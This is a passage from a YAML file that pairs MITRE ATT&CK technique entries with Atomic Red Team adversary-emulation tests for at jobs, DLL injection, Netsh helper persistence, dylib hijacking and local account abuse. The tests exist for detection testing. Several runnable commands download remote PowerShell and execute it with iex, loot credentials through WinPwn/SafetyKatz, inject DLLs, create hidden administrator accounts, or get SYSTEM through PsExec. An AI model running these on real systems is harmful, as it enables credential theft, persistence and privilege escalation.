      created: '2019-11-27T13:52:45.853Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/002
        external_id: T1053.002
      - source_name: rowland linux at 2019
        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
          from a Malicious Linux At Job. Retrieved October 15, 2021.
        url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
      - source_name: GTFObins at
        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
          September 28, 2021.
        url: https://gtfobins.github.io/gtfobins/at/
      - source_name: Linux at
        description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved
          February 25, 2022.
        url: https://man7.org/linux/man-pages/man1/at.1p.html
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

          '
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

        '
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: string
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: string
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

          '
        prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which
          at && which atd; fi;

          '
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

          '
      - description: 'The `atd` daemon must be running

          '
        prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd ||
          service atd status; fi;

          '
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

          '
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}'
  T1055.001:
    technique:
      modified: '2023-08-11T21:34:38.558Z'
      name: 'Process Injection: Dynamic-link Library Injection'
      description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        DLL injection is a method of executing arbitrary code in the address space
        of a separate live process.  \n\nDLL injection is commonly performed by writing
        the path to a DLL in the virtual address space of the target process before
        loading the DLL by invoking a new thread. The write can be performed with
        native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code>
        API responsible for loading the DLL). (Citation: Elastic Process Injection
        July 2017) \n\nVariations of this method such as reflective DLL injection
        (writing a self-mapping DLL into a process) and memory module (map DLL when
        writing into process) overcome the address relocation issue as well as the
        additional APIs to invoke execution (since these methods load and execute
        the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation:
        Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July
        2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading
        or DLL Hollowing, may be leveraged to conceal injected code within a process.
        This method involves loading a legitimate DLL into a remote process then manually
        overwriting the module's <code>AddressOfEntryPoint</code> before starting
        a new thread in the target process.(Citation: Module Stomping for Shellcode
        Injection) This variation allows attackers to hide malicious injected code
        by potentially backing its execution with a legitimate DLL file on disk.(Citation:
        Hiding Malicious Code with Module Stomping) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via DLL injection may
        also evade detection from security products since the execution is masked
        under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Boominathan Sundaram
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor
        DLL/PE file events, specifically creation of these binary files as well as
        the loading of DLLs into processes. Look for DLLs that are not recognized
        or not normally loaded into a process. \n\nAnalyze process behavior to determine
        if a process is performing actions it usually does not, such as opening network
        connections, reading files, or other suspicious actions that could relate
        to post-compromise behavior. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
      created: '2020-01-14T01:26:08.145Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055/001
        external_id: T1055.001
      - source_name: Hiding Malicious Code with Module Stomping
        description: 'Aliz Hammond. (2019, August 15). Hiding Malicious Code with
          "Module Stomping": Part 1. Retrieved July 14, 2022.'
        url: https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/
      - source_name: Elastic HuntingNMemory June 2017
        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
          7, 2017.
        url: https://www.endgame.com/blog/technical-blog/hunting-memory
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: Module Stomping for Shellcode Injection
        description: Red Teaming Experiments. (n.d.). Module Stomping for Shellcode
          Injection. Retrieved July 14, 2022.
        url: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1055.001
    atomic_tests:
    - name: Process Injection via mavinject.exe
      auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254
      description: |
        Windows 10 Utility To Inject DLLS.

        Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
        With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of input_arguments
          type: string
          default: "(Start-Process notepad -PassThru).id"
        dll_payload:
          description: DLL to Inject
          type: path
          default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}"
      executor:
        command: |
          $mypid = #{process_id}
          mavinject $mypid /INJECTRUNNING "#{dll_payload}"
          Stop-Process -processname notepad
        name: powershell
        elevation_required: true
    - name: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load
        technique
      auto_generated_guid: 8b56f787-73d9-4f1d-87e8-d07e89cbc7f5
      description: Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
        name: powershell
  T1546.007:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
      created: '2020-01-24T14:26:51.207Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.007
        url: https://attack.mitre.org/techniques/T1546/007
      - source_name: Demaske Netsh Persistence
        url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
      - source_name: TechNet Netsh
        url: https://technet.microsoft.com/library/bb490939.aspx
        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
      - source_name: Github Netsh Helper CS Beacon
        url: https://github.com/outflankbv/NetshHelperBeacon
        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
          February 13, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Event Triggered Execution: Netsh Helper DLL'
      x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
        in most environments. Monitor process executions and investigate any child
        processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
        registry key for any new or suspicious entries that do not correlate with
        known system files or benign software.(Citation: Demaske Netsh Persistence)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.007
    atomic_tests:
    - name: Netsh Helper DLL Registration
      auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d
      description: |
        You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
        The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

        [Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
        [Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
      supported_platforms:
      - windows
      input_arguments:
        helper_file:
          description: Path to DLL
          type: path
          default: PathToAtomicsFolder\T1546.007\bin\NetshHelper.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Helper DLL must exist on disk at specified location (#{helper_file})

          '
        prereq_command: 'if (Test-Path "#{helper_file}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{helper_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}"
      executor:
        command: |
          netsh.exe add helper "#{helper_file}"
          taskkill /im notepad.exe /t /f > NUL 2>&1
        cleanup_command: 'netsh.exe delete helper "#{helper_file}"

          '
        name: command_prompt
        elevation_required: true
  T1574.004:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Dylib Hijacking
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      created: '2020-03-16T15:23:30.896Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/004
        external_id: T1574.004
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
      - source_name: Apple Developer Doco Archive Run-Path
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
      - source_name: Wardle Dylib Hijacking OSX 2015
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
      - source_name: Writing Bad Malware for OSX
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
        url: https://objective-see.com/blog/blog_0x46.html
      - source_name: wardle artofmalware volume1
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
        url: https://taomm.org/vol1/pdfs.html
      - source_name: Github EmpireProject HijackScanner
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
      - source_name: Github EmpireProject CreateHijacker Dylib
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1078.003:
    technique:
      modified: '2023-07-14T13:04:04.591Z'
      name: 'Valid Accounts: Local Accounts'
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      created: '2020-03-13T20:26:46.695Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/003
        external_id: T1078.003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password for art-test user
          type: string
          default: "-4RTisCool!-321"
      executor:
        command: |-
          net user art-test /add
          net user art-test #{password}
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Create local account with admin privileges - MacOS
      auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: |-
          dscl . -create /Users/AtomicUser
          dscl . -create /Users/AtomicUser UserShell /bin/bash
          dscl . -create /Users/AtomicUser RealName "Atomic User"
          dscl . -create /Users/AtomicUser UniqueID 503
          dscl . -create /Users/AtomicUser PrimaryGroupID 503
          dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
          dscl . -passwd /Users/AtomicUser mySecretPassword
          dscl . -append /Groups/admin GroupMembership AtomicUser
        cleanup_command: sudo dscl . -delete /Users/AtomicUser
        name: bash
        elevation_required: true
    - name: Create local account with admin privileges using sysadminctl utility -
        MacOS
      auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password
          !pass123! -admin
        cleanup_command: sysadminctl interactive -deleteUser art-tester
        name: bash
        elevation_required: true
    - name: Enable root account using dsenableroot utility - MacOS
      auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
      description: After execution the current/new user will have root access
      supported_platforms:
      - macos
      executor:
        command: |-
          dsenableroot #current user
          dsenableroot -u art-tester -p art-tester -r art-root #new user
        cleanup_command: |-
          dsenableroot -d #current user
          dsenableroot -d -u art-tester -p art-tester #new user
        name: bash
        elevation_required: true
    - name: Add a new/existing user to the admin group using dseditgroup utility -
        macOS
      auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
      description: After execution the current/new user will be added to the Admin
        group
      supported_platforms:
      - macos
      executor:
        command: dseditgroup -o edit -a art-user -t user admin
        cleanup_command: dseditgroup -o edit -d art-user -t user admin
        name: bash
        elevation_required: true
    - name: WinPwn - Loot local Credentials - powerhell kittie
      auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
      description: Loot local Credentials - powerhell kittie technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          obfuskittiedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: WinPwn - Loot local Credentials - Safetykatz
      auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
      description: Loot local Credentials - Safetykatz technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          safedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: Create local account (Linux)
      auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357
      description: 'An adversary may wish to create an account with admin privileges
        to work with. In this test we create a "art" user with the password art, switch
        to art, execute whoami, exit and delete the art user.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          password=$(openssl passwd -1 art)
          ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
          su art -c "whoami; exit"
        cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser
          -y art

          '
    - name: Reactivate a locked/expired account (Linux)
      auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
          usermod --lock art
          usermod --expiredate "1" art
          usermod --unlock art
          usermod --expiredate "99999" art
          su art
          whoami
          exit
        cleanup_command: "userdel -r art \n"
    - name: Reactivate a locked/expired account (FreeBSD)
      auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf'
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          pw useradd art -g wheel -s /bin/sh
          echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
          pw lock art
          pw usermod art -e +1d
          pw unlock art
          pw user mod art -e +99d
          su art
          whoami
          exit
        cleanup_command: "rmuser -y art \n"
    - name: Login as nobody (Linux)
      auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh
          --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody)
          nobody\nsu nobody\nwhoami\nexit\n"
        cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep
          nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
    - name: Login as nobody (freebsd)
      auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged
          user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho
          $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n"
        cleanup_command: |
          pw usermod nobody -s /usr/sbin/nologin
          cat /etc/passwd |grep nobody
          # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
    - name: Use PsExec to elevate to NT Authority\SYSTEM account
      auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733
      description: "PsExec is a powerful tool most known for its remote management
        capability. However, it can also be used to run processes as the local system
        account.\n\nThe local system account is a default windows account which has
        unrestricted access to all system resources.\n\nUpon successful execution,
        PsExec.exe will spawn a command prompt which will run 'whoami' as the local
        system account and then exit.    \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: command_prompt
        elevation_required: true
        command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula
          -s %COMSPEC% /c whoami

          '
